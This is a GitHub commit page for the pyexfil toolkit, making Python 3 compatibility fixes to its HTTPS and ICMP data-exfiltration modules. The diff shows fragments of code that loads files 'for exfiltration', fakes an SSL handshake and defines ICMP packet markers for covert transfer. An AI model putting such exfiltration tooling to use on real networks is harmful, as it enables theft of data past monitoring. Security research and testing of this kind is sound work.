Skip to content

Commit

Permalink
small fixes
Browse files Browse the repository at this point in the history
Addressing issue #20 finally. Thanks to @CapacitorSet.
  • Loading branch information
ytisf committed Jun 28, 2021
1 parent b467fef commit 0297b46
Show file tree
Hide file tree
Showing 2 changed files with 21 additions and 12 deletions.
12 changes: 10 additions & 2 deletions pyexfil/network/HTTPS/https_client.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,14 @@
timeout = 2
socket.setdefaulttimeout(timeout)

if sys.version_info.major == 3:
xrange = range
elif sys.version_info.major == 2:
xrange = xrange
else:
# In the distant future, the year 2000...
sys.exit()


def chunkstring(s, n):
return [ s[i:i+n] for i in xrange(0, len(s), n) ]
Expand Down Expand Up @@ -68,7 +76,7 @@ def _pretendSSL(self):
try:
response = urllib2.urlopen('https://%s:%s/' % (self.host, self.port))
html = response.read()
except urllib2.URLError, e:
except urllib2.URLError as e:
return 0
except socket.error as e:
sys.stderr.write("[!]\tCould not reach server to fake SSL handshake!\n")
Expand Down Expand Up @@ -144,7 +152,7 @@ def sendFile(self, file_path):
data = f.read()
f.close()
sys.stdout.write("[+]\tFile '%s' was loaded for exfiltration.\n" % file_path)
except IOError, e:
except IOError as e:
sys.stderr.write("[-]\tUnable to read file '%s'.\n%s.\n" % (file_path, e))
return 1

Expand Down
21 changes: 11 additions & 10 deletions pyexfil/network/ICMP/icmp_exfiltration.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,21 +6,22 @@
import time
import datetime
import base64

from socket import *
from impacket import ImpactPacket


""" Constants """
READ_BINARY = "rb"
WRITE_BINARY = "wb"
READ_FROM_SOCK = 7000
ICMP_HEADER_SIZE = 27
DATA_SEPARATOR = "::"
DATA_TERMINATOR = "\x12\x13\x14\x15"
INIT_PACKET = "\x12\x11\x13\x12\x12\x12"
END_PACKET = "\x15\x14\x13\x12"
LOGFILE_BASENAME = "icmp_log"
LOGFILE_EXT = ".txt"
READ_BINARY = "rb"
WRITE_BINARY = "wb"
READ_FROM_SOCK = 7000
ICMP_HEADER_SIZE = 27
DATA_SEPARATOR = "::"
DATA_TERMINATOR = "\x12\x13\x14\x15"
INIT_PACKET = "\x12\x11\x13\x12\x12\x12"
END_PACKET = "\x15\x14\x13\x12"
LOGFILE_BASENAME = "icmp_log"
LOGFILE_EXT = ".txt"


def send_file(ip_addr, src_ip_addr="127.0.0.1", file_path="", max_packetsize=512, SLEEP=0.1):
Expand Down

0 comments on commit 0297b46

Please sign in to comment.